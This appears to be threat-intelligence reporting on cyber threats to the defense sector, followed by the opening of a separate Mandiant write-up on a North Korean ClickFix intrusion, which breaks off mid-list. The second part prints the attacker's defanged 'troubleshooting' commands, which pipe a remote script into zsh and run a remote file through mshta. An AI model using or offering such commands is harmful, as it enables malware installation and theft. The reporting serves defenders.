• Among state-sponsored cyber espionage intrusions over the last two years analysed by GTIG, threat activity from China-nexus groups continues to represent by volume the most active threat to entities in the defense industrial base. While these intrusions continue to leverage an array of tactics, campaigns from actors such as UNC3886 and UNC5221 highlight how the targeting of edge devices and appliances as a means of initial access has increased as a tactic by China-nexus threat actors, and poses a significant risk to the defense and aerospace sector. In comparison to the Russia-nexus threats observed on the battlefield in Ukraine, these could support more preparatory access or R&D theft missions. 

• Lastly, contemporary national security strategy relies heavily on a secure supply chain. Since 2020, manufacturing has been the most represented sector across data leak sites (DLS) that GTIG tracks associated with ransomware and extortive activity. While dedicated defense and aerospace organizations represent a small fraction of similar activity, the broader manufacturing sector includes many companies that provide dual-use components for defense applications, and this statistic highlights the cyber risk the industrial base supply chain is exposed to. The ability to surge defense components in a wartime environment can be impacted, even when these intrusions are limited to IT networks. Additionally, the global resurgence of hacktivism, and actors carrying out hack and leak operations, DDoS attacks, or other forms of disruption, has impacted the defense industrial base. 

Across these themes we see further areas of commonality. Many of the chief state-sponsors of cyber espionage and hacktivist actors have shown an interest in autonomous vehicles and drones, as these platforms play an increasing role in modern warfare. Further, the “evasion of detection” trend first highlighted in the Mandiant M-Trends 2024 report continues, as actors focus on single endpoints and individuals, or carry out intrusions in a manner that seeks to avoid endpoint detection and response (EDR) tools altogether. All of this contributes to a contested and complex environment that challenges traditional detection strategies, requiring everyone from security practitioners to policymakers to think creatively in countering these threats. 

1. Longstanding Russian Targeting of Critical and Emerging Defense Technologies in Ukraine and Beyond 

Russian espionage actors have demonstrated a longstanding interest in Western defense entities. While Russia's full-scale invasion of Ukraine began in February 2022, the Russian government has long viewed the conflict as an extension of a broader campaign against Western encroachment into its sphere of influence, and has accordingly targeted both Ukrainian and Western military and defense-related entities via kinetic and cyber operations. 

Russia's use of cyber operations in support of military objectives in the war against Ukraine and beyond is multifaceted. On a tactical level, targeting has broadened to include individuals in addition to organizations in order to support frontline operations and beyond, likely due at least in part to the reliance on public and off-the-shelf technology rather than custom products. Russian threat actors have targeted secure messaging applications used by the Ukrainian military to communicate and orchestrate military operations, including via attempts to exfiltrate locally stored databases of these apps, such as from mobile devices captured during Russia's ongoing invasion of Ukraine. This compromise of individuals' devices and accounts poses a challenge in various ways—for example, such activity often occurs outside spaces that are traditionally monitored, meaning a lack of visibility for defenders in monitoring or detecting such threats. GTIG has also identified attempts to compromise users of battlefield management systems such as Delta and Kropyva, underscoring the critical role played by these systems in the orchestration of tactical efforts and dissemination of vital intelligence. 

More broadly, Russian espionage activity has also encompassed the targeting of Ukrainian and Western companies supporting Ukraine in the conflict or otherwise focused on developing and providing defensive capabilities for the West. This has included the use of infrastructure and lures themed around military equipment manufacturers, drone production and development, anti-drone defense systems, and surveillance systems, indicating the likely targeting of organizations with a need for such technologies.

APT44 (Sandworm, FROZENBARENTS)

APT44, attributed by multiple governments to Unit 74455 within the Russian Armed Forces' Main Intelligence Directorate (GRU), has attempted to exfiltrate information from Telegram and Signal encrypted messaging applications, likely via physical access to devices obtained during operations in Ukraine. While this activity extends back to at least 2023, we have continued to observe the group making these attempts. GTIG has also identified APT44 leveraging WAVESIGN, a Windows Batch script responsible for decrypting and exfiltrating data from Signal Desktop. Multiple governments have also reported on APT44's use of INFAMOUSCHISEL, malware designed to collect information from Android devices including system device information, commercial application information, and information from Ukrainian military apps. 

TEMP.Vermin

TEMP.Vermin, an espionage actor whose activity Ukraine's Computer Emergency Response Team (CERT-UA) has linked to security agencies of the so-called Luhansk People's Republic (LPR, also rendered as LNR), has deployed malware including VERMONSTER, SPECTRUM (publicly reported as Spectr), and FIRMACHAGENT via the use of lure content themed around drone production and development, anti-drone defense systems, and video surveillance security systems. Infrastructure leveraged by TEMP.Vermin includes domains masquerading as Telegram and involve broad aerospace themes including a domain that may be a masquerade of an Indian aerospace company focused on advanced drone technology.

UNC5125

UNC5125 has conducted highly targeted campaigns focusing on frontline drone units. Its collection efforts have included the use of a questionnaire hosted on Google Forms to conduct reconnaissance against prospective drone operators; the questionnaire purports to originate from Dronarium, a drone training academy, and solicits personal information from targets, notably including military unit information, telephone numbers, and preferred mobile messaging apps. UNC5125 has also conducted malware delivery operations via these messaging apps. In one instance, the cluster delivered the MESSYFORK backdoor (publicly reported as COOKBOX) to an UAV operator in Ukraine.

We also identified suspected UNC5125 activity leveraging Android malware we track as GREYBATTLE, which was delivered via a website spoofing a Ukrainian military artificial intelligence company. GREYBATTLE, a customized variant of the Hydra banking trojan, is designed to extract credentials and data from compromised devices.

Note: Android users with Google Play Protect enabled are protected against the aforementioned malware, and all known versions of the malicious apps identified throughout this report.

UNC5792

Since at least 2024, GTIG has identified this Russian espionage cluster exploiting secure messaging apps, targeting primarily Ukrainian military and government entities in addition to individuals and organizations in Moldova, Georgia, France, and the US. Notably, UNC5792 has compromised Signal accounts via the device-linking feature. Specifically, UNC5792 sent its targets altered "group invite" pages that redirected to malicious URLs crafted to link an actor-controlled device to the victim's Signal accounts allowing the threat actor to see victims’ message in real time. The cluster has also leveraged WhatsApp phishing pages and other domains masquerading as Ukrainian defense manufacturing and defense technology companies.

UNC4221

UNC4221, another suspected Russian espionage actor active since at least March 2022, has targeted secure messaging apps used by Ukrainian military personnel via tactics similar to those of UNC5792. For example, the cluster leveraged fake Signal group invites that redirect to a website crafted to elicit users to link their account to an actor-controlled Signal instance. UNC4221 has also leveraged WhatsApp phishing pages intended to collect geolocation data from targeted devices.

UNC4221 has targeted mobile applications used by the Ukrainian military in multiple instances, such as by leveraging Signal phishing kits masquerading as Kropyva, a tactical battlefield app used by the Armed Forces of Ukraine for a variety of combat functions including artillery guidance. Other Signal phishing domains used by UNC4221 masqueraded as a streaming service for UAVs used by the Ukrainian military. The cluster also leveraged the STALECOOKIE Android malware, which was designed to masquerade as an application for Delta, a situational awareness and battlefield management platform used by the Ukrainian military, to steal browser cookies.

UNC4221 has also conducted malware delivery operations targeting both Android and Windows devices. In one instance, the actor leveraged the "ClickFix" social engineering technique, which lured the target into copying and running malicious PowerShell commands via instructions referencing a Ukrainian defense manufacturer, in a likely attempt to deliver the TINYWHALE downloader. TINYWHALE in turn led to the download and execution of the MESHAGENT remote management software against a likely Ukrainian military entity.

UNC5976

Starting in January 2025, the suspected Russian espionage cluster UNC5976 conducted a phishing campaign delivering malicious RDP connection files. These files were configured to communicate with actor-controlled domains spoofing a Ukrainian telecommunications entity. Additional infrastructure likely used by UNC5976 included hundreds of domains spoofing defense contractors including companies headquartered in the UK, the US, Germany, France, Sweden, Norway, Ukraine, Turkey, and South Korea.

Wider UNC5976 phishing activity also included the use of drone-themed lure content, such as operational documentation for the ORLAN-15 UAV system, likely for credential harvesting efforts targeting webmail credentials.

UNC6096

In February 2025, GTIG identified the suspected Russian espionage cluster UNC6096 conducting malware delivery operations via WhatsApp Messenger using themes related to the Delta battlefield management platform. To target Windows users, the cluster delivered an archive file containing a malicious LNK file leading to the download of a secondary payload. Android devices were targeted via malware we track as GALLGRAB, a modified version of the publicly available "Android Gallery Stealer". GALLGRAB collects data that includes locally stored files, contact information, and potentially encrypted user data from specialized battlefield applications.

UNC5114

In October 2023, the suspected Russian espionage cluster UNC5114 delivered a variant of the publicly available Android malware CraxsRAT masquerading as an update for the Kropyva app, accompanied by a lure document mimicking official installation instructions.

Hacktivist Targeting of Military Drones 

A subset of pro-Russia hacktivist activity has focused on Ukraine’s use of drones on the battlefield. This likely reflects the critical role that drones have played in combat, as well as an attempt by pro-Russia hacktivist groups to claim to be influencing events on the ground. In late 2025, the pro-Russia hacktivist collective KillNet, for example, dedicated significant threat activity to this. After announcing the collective’s revitalization in June, the first threat activity claimed by the group was an attack allegedly disabling Ukraine’s ability to monitor its airspace for drone attacks. This focus continued throughout the year, culminating in a December announcement in which the group claimed to create a multifunctional platform featuring the mapping of key infrastructure like Ukraine’s drone production facilities based on compromised data. We further detail in the next section operations from pro-Russia hacktivists that have targeted defense sector employees.

2. Employees in the Crosshairs: Targeting and Exploitation of Personnel and HR Processes in the Defense Sector

Throughout 2025, adversaries of varying motivations have continued to target the "human layer" including within the DIB. By exploiting professional networking platforms, recruitment processes, and personal communications, threat actors attempt to bypass perimeter security controls to gain insider access or compromise personal devices. This creates a challenge for enterprise security teams, where much of this activity may take place outside the visibility of traditional security detections.

North Korea’s Insider Threat and Revenue Generation

Since at least 2019, the threat from the Democratic People’s Republic of Korea (DPRK) began evolving to incorporate internal infiltration via “IT workers” in addition to traditional network intrusion. This development, driven by both espionage requirements and the regime’s need for revenue generation, continued throughout 2025 with recent operations incorporating new publicly available tools. In addition to public reporting, GTIG has also observed evidence of IT workers applying to jobs at defense related organizations. 

• In June 2025, the US Department of Justice announced a disruption operation that included searches of 29 locations in 16 states suspected of being laptop farms and led to the arrest of a US facilitator and an indictment against eight international facilitators. According to the indictment, the accused successfully gained remote jobs at more than 100 US companies, including Fortune 500 companies. In one case, IT workers reportedly stole sensitive data from a California-based defense contractor that was developing AI technology. 

• In 2025, a Maryland-based individual, Minh Phuong Ngoc Vong, was sentenced to 15 months in prison for their role in facilitating a DPRK ITW scheme. According to government documents, in coordination with a suspected DPRK IT worker, Vong was hired by a Virginia-based company to perform remote software development work for a government contract that involved a US government entity's defense program. The suspected DPRK IT worker used Vong’s credentials to log in and perform work under Vong’s identity, for which Vong was later paid, ultimately sending some of those funds overseas to the IT worker. 

The Industrialization of Job Campaigns 

Job-themed campaigns have become a significant and persistent operational trend among cyber threat actors, who leverage employment-themed social engineering as a high-efficacy vector for both espionage and financial gain. These operations exploit the trust inherent in the online job search, application, and interview processes, masquerading malicious content as job postings, fake job offers, recruitment documents, and malicious resume-builder applications to trick high-value personnel into deploying malware or providing credentials. 

North Korean Cyber Operations Targeting Defense Sector Employees 

North Korean cyber espionage operations have targeted defense technologies and personnel using employment themed social engineering. GTIG has directly observed campaigns conducted by APT45, APT43, and UNC2970 specifically target individuals at organizations within the defense industry.  

• GTIG identified a suspected APT45 operation leveraging the SMALLTIGER malware to reportedly target South Korean defense, semiconductor, and automotive manufacturing entities. Based on historical activity, we suspect this activity is conducted at least in part to acquire intellectual property to support the North Korean regime in its research and development efforts in the targeted industries; South Korea's National Intelligence Service (NIS) has also reported on North Korean attempts to steal intellectual property toward the aims of producing its own semiconductors for use in its weapons programs.

• GTIG identified suspected APT43 infrastructure mimicking German and U.S. defense-related entities, including a credential harvesting page and job-themed lure content used to deploy the THINWAVE backdoor. Related infrastructure was also used by HANGMAN.V2, a backdoor used by APT43 and suspected APT43 clusters.  

• UNC2970 has consistently focused on defense targeting and impersonating corporate recruiters in their campaigns. The cluster has used Gemini to synthesize open-source intelligence (OSINT) and profile high-value targets to support campaign planning and reconnaissance. UNC2970’s target profiling included searching for information on major cybersecurity and defense companies and mapping specific technical job roles and salary information. This reconnaissance activity is used to gather the necessary information to create tailored, high-fidelity phishing personas and identify potential targets for initial compromise.

Iranian Threat Actors Use Recruitment-Themed Campaigns to Target Aerospace and Defense Employees

GTIG has observed Iranian state-sponsored cyber actors consistently leverage employment opportunities and exploit trusted third-party relationships in operations targeting the defense and aerospace sector. Since at least 2022, groups such as UNC1549 and UNC6446 have used spoofed job portals, fake job offer lures, as well as malicious resume-builder applications for defense firms, some of which specialize in aviation, aerospace, and UAV technology, to trick users/personnel into executing malware or giving up credentials under the guise of legitimate employment opportunities. 

• GTIG has identified fake job descriptions, portals, and survey lures hosted on UNC1549 infrastructure masquerading as aerospace, technology, and thermal imaging companies, including drone manufacturing entities, to likely target personnel interested in major defense contractors. Likely indicative of their intended targeting, in one campaign UNC1549 leveraged a spoofed domain for a drone-related conference in Asia. 

• UNC1549 has additionally gained initial access to organizations in the defense and aerospace sector by exploiting trusted connections with third-party suppliers. The group leverages compromised third-party accounts to exploit legitimate access pathways, often pivoting from service providers to their customers. Once access is gained, UNC1549 has focused on privilege escalation by targeting IT staff with malicious emails that mimic authentic processes to steal administrator credentials, or by exploiting less-secure third-party suppliers to breach the primary target’s infrastructure via legitimate remote access services like Citrix and VMware. Post-compromise activities often include credential theft using custom tools like CRASHPAD and RDP session hijacking to access active user sessions. 

Since at least 2022, the Iranian-nexus threat actor UNC6446 has used resume builder and personality test applications to deliver custom malware primarily to targets in the aerospace and defense vertical across the US and Middle East. These applications provide a user interface - including one likely designed for employees of a UK-based multinational aerospace and defense company - while malware runs in the background to steal initial system reconnaissance data.

China-Nexus Actor Targets Personal Emails of Defense Contractor Employees

China-nexus threat actor APT5 conducted two separate campaigns in mid to late 2024 and in May 2025 against current and former employees of major aerospace and defense contractors. While employees at one of the companies received emails to their work email addresses, in both campaigns, the actor sent spearphishes to employees’ personal email addresses. The lures were meticulously crafted to align with the targets' professional roles, geographical locations, and personal interests. Among the professional, industry, and training lures the actor leveraged included: 

• Invitations to industry events, such as CANSEC (Canadian Association of Defence and Security Industries), MilCIS (Military Communications and Information Systems), and SHRM (Society for Human Resource Management). 

•  Red Cross training courses references.

• Phishing emails disguised as job offers.

Additionally, the actor also leveraged hyper-specific and personal lures related to the locations and activities of their targetings, including: 

• Emails referencing a "Community service verification form" from a local high school near one of the contractor's headquarters.

• Phishing emails using "Alumni tickets" for a university minor league baseball team, targeting employees who attended the university.

• Emails purporting to be "open letters" to Boy Scouts of America camp or troop leadership, targeting employees known to be volunteers or parents.

• Fake guides and registration information leveraging the 2024 election cycle for the state where the employees lived.

RU Hacktivists Targeting Personnel 

Doxxing remains a cornerstone of pro-Russia hacktivist threat activity, targeting both individuals within Ukraine’s military and security services as well as foreign allies. Some groups have centered their operations on doxxing to uncover members across specific units/organizations, while others use doxxing to supplement more diverse operations.

For example, in 2025, the group Heaven of the Slavs (Original Russian: НЕБО СЛАВЯН) claimed to have doxxed Ukrainian defense contractors and military officials; Beregini alleged to identify individuals who worked at Ukrainian defense contractors, including those that it claimed worked at Ukrainian naval drone manufacturers; and PalachPro claimed to have identified foreign fighters in Ukraine, and the group separately claimed to have compromised the devices of Ukrainian soldiers. Further hacktivist activity against the defense sector is covered in the last section of this report.

3. Persistent Area of Focus For China-Nexus Cyber Espionage Actors 

The defense industrial base has been an important target for China-nexus threat actors for as long as cyber operations have been used for espionage. One of the earliest observed compromises attributed to the Chinese military’s APT1 group was a firm in the defense industrial sector in 2007. While historical campaigns by actors such as APT40 have at times shown hyper-specific focus in sub-sectors of defense, such as maritime related technologies, in general the areas of defense targeting from China-nexus groups has spanned all domains and supply chain layers. Alongside this focus on defense systems and contractors, Chinese cyber espionage groups have steadily improved their tradecraft over the past several years, increasing the risk to this sector. 

GTIG has observed more China-nexus cyber espionage missions directly targeting defense and aerospace industry than from any other state-sponsored actors over the last two years. China-nexus espionage actors have used a broad range of tactics in operations, but the hallmark of many operations has been their exploitation of edge devices to gain initial access. We have also observed China-nexus threat groups leverage ORB networks for reconnaissance against defense industrial targets, which complicates detection and attribution.

Drawing from both direct observations and open-source research, GTIG assesses with high confidence that since 2020, Chinese cyber espionage groups have exploited more than two dozen zero-day (0-day) vulnerabilities in edge devices (devices that are typically placed at the edge of a network and often do not support EDR monitoring, such as VPNs, routers, switches, and security appliances) from ten different vendors. This observed emphasis on exploiting 0-days in edge devices likely reflects an intentional strategy to benefit from the tactical advantages of reduced opportunities for detection and increased rates of successful compromises.

While we have observed exploitation spread to multiple threat groups soon after disclosure, often the first Chinese cyber espionage activity sets we discover exploiting an edge device 0-day, such as UNC4841, UNC3886, and UNC5221, demonstrate extensive efforts to obfuscate their activity in order to maintain long-term access to targeted environments. Notably, in recent years, both UNC3886 and UNC5221 operations have directly impacted the defense sector, among other industries. 

• UNC3886 is one of the most capable and prolific China-nexus threat groups GTIG has observed in recent years. While UNC3886 has targeted multiple sectors, their early operations in 2022 had a distinct focus on aerospace and defense entities. We have observed UNC3886 employ 17 distinct malware families in operations against DIB targets. Beyond aerospace and defense targets, UNC3886 campaigns have been observed impacting the telecommunications and technology sectors in the US and Asia.   

• UNC5221 is a sophisticated, suspected China-nexus cyber espionage actor characterized by its focus on exploiting edge infrastructure to penetrate high-value strategic targets. The actor demonstrates a distinct operational preference for compromising perimeter devices—such as VPN appliances and firewalls—to bypass traditional endpoint detection, subsequently establishing persistent access to conduct long-term intelligence collection. Their observed targeting profile is highly selective, prioritizing entities that serve as "force multipliers" for intelligence gathering, such as managed service providers (MSPs), law firms, and central nodes in the global technology supply chain. The BRICKSTORM malware campaign uncovered in 2025, which we suspect was conducted by UNC5221, was notable for its stealth, with an average dwell time of 393 days. Organizations that were impacted spanned multiple sectors but included aerospace and defense. 

In addition to these two groups, GTIG has analysed other China-nexus groups impacting the defense sector in recent years. 

UNC3236 Observed Targeting U.S. Military and Logistics Portal

In 2024, GTIG observed reconnaissance activity associated with UNC3236 (linked to Volt Typhoon) against publicly hosted login portals of North American military and defense contractors, and U.S. and Canadian government domains related to North American infrastructure. The activity leveraged the ARCMAZE obfuscation network to obfuscate its origin. Netflow analysis revealed communication with SOHO routers outside the ARCMAZE network, suggesting an additional hop point to hinder tracking. Targeted entities included a Drupal web login portal used by defense contractors involved in U.S. military infrastructure projects. 

UNC6508 Search Terms Indicate Interest in Defense Contractors and Military Platforms

In late 2023, China-nexus threat cluster UNC6508 targeted a US-based research institution through a multi-stage attack that leveraged an initial REDCap exploit and custom malware named INFINITERED. This malware is embedded within a trojanized version of a legitimate REDCap system file and functions as a recursive dropper. It is capable of enabling persistent remote access and credential theft after intercepting the application's software upgrade process to inject malicious code into the next version's core files. 

The actor used the REDCap system access to collect credentials to access the victim’s email platform filtering rules to collect information related to US national security and foreign policy (Figure 10). GTIG assesses with low confidence that the actors likely sought to fulfill a set of intelligence collection requirements, though the nature and intended focus of the collection effort are unknown.

By August 2025, the actors leveraged credentials obtained via INFINITERED to access the institution's environment with legitimate, compromised administrator credentials. They abused the tenant compliance rules to dynamically reroute messages based on a combination of keywords and or recipients. The actors modified an email rule to BCC an actor-controlled email address if any of 150 regex-defined search terms or email addresses appeared in email bodies or subjects, thereby facilitating data exfiltration by forwarding any email that contained at least one of the terms related to US national security, military equipment and operations, foreign policy, and medical research, among others. About a third of the keywords referenced a military system or a defense contractor, with a notable amount related to UAS or counter-UAS systems.

4. Hack, Leak, and Disruption of the Manufacturing Supply Chain

Extortion operations continue to represent the most impactful cyber crime threat globally, due to the prevalence of the activity, the potential for disrupting business operations, and the public disclosure of sensitive data such as personally identifiable information (PII), intellectual property, and legal documents. Similarly, hack-and-leak operations conducted by geopolitically and ideologically motivated hacktivist groups may also result in the public disclosure of sensitive data. These data breaches can represent a risk to defense contractors via loss of intellectual property, to their employees due to the potential use of PII for targeting data, and to the defense agencies they support. Less frequently, both financially and ideologically motivated threat actors may conduct significant disruptive operations, such as the deployment of ransomware on operational technology (OT) systems or distributed-denial-of-service (DDoS) attacks.

Cyber Crime Activity Impacting the Defense Industrial Base and Broader Manufacturing and Industrial Supply Chain

While dedicated aerospace & defense organizations represent only about 1% of victims listed on data leak sites (DLS) in 2025, manufacturing organizations, many of which directly or indirectly support defense contracts, have consistently represented the largest share of DLS listings by count (Figure 11). This broader manufacturing sector includes companies that may provide dual-use components for defense applications. For example, a significant 2025 ransomware incident affecting a UK automotive manufacturer, who also produces military vehicles, disrupted production for weeks and reportedly affected more than 5,000 additional organizations. This highlights the cyber risk to the broader industrial supply chain supporting the defense capacity of a nation, including the ability to surge defense components in a wartime environment can be impacted, even when these intrusions are limited to IT networks.

Threat actors also regularly share and/or advertise illicit access to or stolen data from aerospace and defense sector organizations. For example, the persona “miyako,” who has been active on multiple underground forums based on the use of the same username and Session ID, has advertised access to multiple, unnamed, defense contractors over time (Figure 11). While defense contractors are likely not attractive targets for many cyber criminals, given that these organizations typically maintain a strong security posture, a small subset of financially motivated actors may disproportionately target the industry due to dual motivations, such as a desire for notoriety or ideological motivations. For example, the BreachForums actor “USDoD” regularly shared or advertised access to data claimed to have been stolen from prominent defense-related organizations. In a bizarre 2023 interview, USDoD claimed the threat was misdirection and that they were actually targeting a consulting firm, NATO, CEPOL, Europol, and Interpol. USDoD further indicated that they had a personal vendetta and were not motivated by politics. In October 2024, Brazilian authorities arrested an individual accused of being USDoD.

Hacktivist Operations Targeting the Defense Industrial Base

Pro-Russia and pro-Iran hacktivism operations at times extend beyond simple nuisance-level attacks to high-impact operations, including data leaks and operational disruptions. Unlike financially motivated activity, these campaigns prioritize the exposure of sensitive military schematics and personal personnel data—often through "hack-and-leak" tactics—in an attempt to erode public trust, intimidate defense officials, and influence geopolitical developments on the ground. Robust geopolitically motivated hacktivist activity works not only to advance state interests but also can serve to complicate attribution of threat activity from state-backed actors, which are known to leverage hacktivist tactics for their own ends.

Pro-Russia Hacktivism Activity

Pro-Russia hacktivist actors have collectively dedicated a notable portion of their threat activity to targeting entities associated with Ukraine’s and Western countries’ militaries and in their defense sectors. As we have previously reported, GTIG observed a revival and intensification of activity within the pro-Russia hacktivist ecosystem in response to the launch of Russia’s full-scale invasion of Ukraine in February 2022. The vast majority of pro-Russia hacktivist activity that we have subsequently tracked has likewise appeared intended to advance Russia’s interests in the war. As with the targeting of other high-profile organizations, at least some of this activity appeared primarily intended to generate media attention. However, a review of the related threat activity observed in 2025 also suggest that actors targeting military/defense sectors had more diverse objectives, including seeding influence narratives, monetizing claimed access, and influencing developments on the ground. Some observed attack/targeting trends over the last year include the following:

• DDoS Attacks: Multiple pro-Russia hacktivist groups have claimed distributed denial-of-service (DDoS) attacks targeting government and private organizations involved in defense. This includes multiple such attacks claimed by the group NoName057(16), which has prolifically leveraged DDoS attacks to attack a range of targets. While this often may be more nuisance-level activity, it demonstrates at the most basic level how defense sector targeting is a part of hacktivist threat activity that is broadly oriented toward targeting entities in countries that support Ukraine. 

• Network Intrusion: In limited instances, pro-Russia groups claimed intrusion activity targeting private defense-sector organizations. Often this was in support of hack and leak operations. For example, in November 2025, the group PalachPro claimed to have targeted multiple Italian defense companies, alleging that they exfiltrated sensitive data from their networks—in at least one instance, PalachPro claimed it would sell this data; that same month, the group Infrastructure Destruction Squad claimed to have launched an unsuccessful attack targeting a major US arms producer.  

• Document Leaks: A continuous stream of claimed or otherwise implied hack and leak operations has targeted the Ukrainian military and the government and private organizations that support Ukraine. Beregini and JokerDNR (aka JokerDPR) are two notable pro-Russia groups engaged in this activity, both of which regularly disseminate documents that they claim are related to the administration of Ukraine’s military, coordination with Ukraine’s foreign partners, and foreign weapons systems supplied to Ukraine. GTIG cannot confirm the potential validity of all the disseminated documents, though in at least some instances the sensitive nature of the documents appears to be overstated. 

• Often, Beregini and JokerDNR leverage this activity to promote anti-Ukraine narratives, including those that appear intended to reduce domestic confidence in the Ukrainian government by alleging things like corruption and government scandals, or that Ukraine is being supplied with inferior equipment. 

Pro-Iran Hacktivism Activity

Pro-Iran hacktivist threat activity targeting the defense sector has intensified significantly following the onset of the Israel-Hamas conflict in October 2023. These operations are characterized by a shift from nuisance-level disruptive attacks to sophisticated "hack-and-leak" campaigns, supply chain compromises, and aggressive psychological warfare targeting military personnel. Threat actors such as Handala Hack, Cyber Toufan, and the Cyber Isnaad Front have prioritized the Israeli defense industrial base—compromising manufacturers, logistics providers, and technology firms to expose sensitive schematics, personnel data, and military contracts. The objective of these campaigns is not merely disruption but the degradation of Israel’s national security apparatus through the exposure of military capabilities, the intimidation of defense sector employees via "doxxing," and the erosion of public trust in the security establishment. 

• The pro-Iran persona Handala Hack, which GTIG has observed publicize threat activity associated with UNC5203, has consistently targeted both the Israeli Government, as well as its supporting military-industrial complex. Threat activity attributed to the persona has primarily consisted of hack-and-leak operations, but has increasingly incorporated doxxing and tactics designed to promote fear, uncertainty, and doubt (FUD). 

• On the two-year anniversary of al-Aqsa Flood, the day which Hamas-led militants attacked Israel, Handala launched “Handala RedWanted,” an actor-controlled website supporting a concerted doxxing/intimidation campaign targeting members of Israel’s Armed Forces, its intelligence and national security apparatus, and both individuals and organizations the group claims to comprise Israel’s military-industrial complex. 

• Following the announcement of RedWanted, the persona has recently signaled an expansion of its operations vis-a-vis the launch of “Handala Alert.” Significant in terms of a potential expansion in the group’s external targeting calculus, which has long prioritized Israel, is a renewed effort by Handala to “support anti-regime activities abroad.” 

• Ongoing campaigns such as those attributed to the Pro-Iran personas Cyber Toufan (UNC5318) and الجبهة الإسناد السيبرانية (Cyber Isnaad Front) are additionally demonstrative of the broader ecosystem’s longstanding prioritization of the defense sector. 

• Leveraging a newly-established leak channel on Telegram (ILDefenseLeaks), Cyber Toufan has publicized a number of operations targeting Israel’s military-industrial sector, most of which the group claims to have been the result of a supply chain compromise resulting from its breach of network infrastructure associated with an Israeli defense contractor. According to Cyber Toufan, access to this contractor resulted in the compromise of at least 17 additional Israeli defense contractor organizations.

• While these activities have prioritized the targeting of Israel specifically, claimed operations have in limited instances impacted other countries. For example, recent threat activity publicized by Cyber Isnaad Front also surrounding the alleged compromise of the aforementioned Israeli defense contractor leaked information involving reported plans by the Australian Defense Force to purchase Spike NLOS anti-tank missiles from Israel. 

Conclusion 

Given global efforts to increase defense investment and develop new technologies the security of the defense sector is more important to national security than ever. Actors supporting nation state objectives have interest in the production of new and emerging defense technologies, their capabilities, the end customers purchasing them, and potential methods for countering these systems. Financially motivated actors carry out extortion against this sector and the broader manufacturing base like many of the other verticals they target for monetary gain. 

While specific risks vary by geographic footprint and sub-sector specialization, the broader trend is clear: the defense industrial base is under a state of constant, multi-vector siege. The campaigns against defense contractors in Ukraine, threats to or exploitation of defense personnel, the persistent volume of intrusions by China-nexus actors, and the hack, leak, and disruption of the manufacturing base are some of the leading threats to this industry today. To maintain a competitive advantage, organizations must move beyond reactive postures. By integrating these intelligence trends into proactive threat hunting and resilient architecture, the defense sector can ensure that the systems protecting the nation are not compromised before they ever reach the field.

Written by: Ross Inman, Adrian Hernandez

Introduction

North Korean threat actors continue to evolve their tradecraft to target the cryptocurrency and decentralized finance (DeFi) verticals. Mandiant recently investigated an intrusion targeting a FinTech entity within this sector, attributed to UNC1069, a financially motivated threat actor active since at least 2018. This investigation revealed a tailored intrusion resulting in the deployment of seven unique malware families, including a new set of tooling designed to capture host and victim data: SILENCELIFT, DEEPBREATH and CHROMEPUSH. The intrusion relied on a social engineering scheme involving a compromised Telegram account, a fake Zoom meeting, a ClickFix infection vector, and reported usage of AI-generated video to deceive the victim.

These tactics build upon a shift first documented in the November 2025 publication GTIG AI Threat Tracker: Advances in Threat Actor Usage of AI Tools where Google Threat Intelligence Group (GTIG) identified UNC1069's transition from using AI for simple productivity gains to deploying novel AI-enabled lures in active operations. The volume of tooling deployed on a single host indicates a highly determined effort to harvest credentials, browser data, and session tokens to facilitate financial theft. While UNC1069 typically targets cryptocurrency startups, software developers, and venture capital firms, the deployment of multiple new malware families alongside the known downloader SUGARLOADER marks a significant expansion in their capabilities.

Initial Vector and Social Engineering 

The victim was contacted via Telegram through the account of an executive of a cryptocurrency company that had been compromised by UNC1069. Mandiant identified claims from the true owner of the account, posted from another social media profile, where they had posted a warning to their contacts that their Telegram account had been hijacked; however, Mandiant was not able to verify or establish contact with this executive. UNC1069 engaged the victim and, after building a rapport, sent a Calendly link to schedule a 30-minute meeting. The meeting link itself directed to a spoofed Zoom meeting that was hosted on the threat actor's infrastructure, zoom[.]uswe05[.]us. 

The victim reported that during the call, they were presented with a video of a CEO from another cryptocurrency company that appeared to be a deepfake. While Mandiant was unable to recover forensic evidence to independently verify the use of AI models in this specific instance, the reported ruse is similar to a previously publicly reported incident with similar characteristics, where deepfakes were also allegedly used.

Once in the "meeting," the fake video call facilitated a ruse that gave the impression to the end user that they were experiencing audio issues. This was employed by the threat actor to conduct a ClickFix attack: an attack technique where the threat actor directs the user to run troubleshooting commands on their system to address a purported technical issue. The recovered web page provided two sets of commands to be run for "troubleshooting": one for macOS systems, and one for Windows systems. Embedded within the string of commands was a single command that initiated the infection chain. 

Mandiant has observed UNC1069 employing these techniques to target both corporate entities and individuals within the cryptocurrency industry, including software firms and their developers, as well as venture capital firms and their employees or executives. This includes the use of fake Zoom meetings and a known use of AI tools by the threat actor for editing images or videos during the social engineering stage. 

UNC1069 is known to use tools like Gemini to develop tooling, conduct operational research, and assist during the reconnaissance stages, as reported by GTIG. Additionally, Kaspersky recently claimed Bluenoroff, a threat actor that overlaps with UNC1069, is also using GTP-4o models to modify images indicating adoption of GenAI tools and integration of AI into the adversary lifecycle.

Infection Chain 

In the incident response engagement performed by Mandiant, the victim executed the "troubleshooting" commands provided in Figure 1, which led to the initial infection of the macOS device.

system_profiler SPAudioData
softwareupdate --evaluate-products --products audio --agree-to-license
curl -A audio -s hxxp://mylingocoin[.]com/audio/fix/6454694440 | zsh
system_profiler SPSoundCardData
softwareupdate --evaluate-products --products soundcard
system_profiler SPSpeechData
softwareupdate --evaluate-products --products speech --agree-to-license

Figure 1: Attacker commands shared during the social engineering stage

A set of "troubleshooting" commands that targeted Windows operating systems was also recovered from the fake Zoom call webpage:

setx audio_volume 100
pnputil /enum-devices /connected /class "Audio"
mshta hxxp://mylingocoin[.]com/audio/fix/6454694440
wmic sounddev get Caption, ProductName, DeviceID, Status
msdt -id AudioPlaybackDiagnostic
exit

Figure 2: Attacker commands shared when Windows is detected

Evidence of AppleScript execution was recorded immediately following the start of the infection chain; however, contents of the AppleScript payload could not be recovered from the resident forensic artifacts on the system. Following the AppleScript execution a malicious Mach-O binary was deployed to the system. 

The first malicious executable file deployed to the system was a packed backdoor tracked by Mandiant as WAVESHAPER. WAVESHAPER served as a conduit to deploy a downloader tracked by Mandiant as HYPERCALL as well as subsequent additional tooling to considerably expand the adversary's foothold on the system. 

Mandiant observed three uses of the HYPERCALL downloader during the intrusion: 

1. Execute a follow-on backdoor component, tracked by Mandiant as HIDDENCALL, which provided hands-on keyboard access to the compromised system

2. Deploy another downloader, tracked by Mandiant as SUGARLOADER

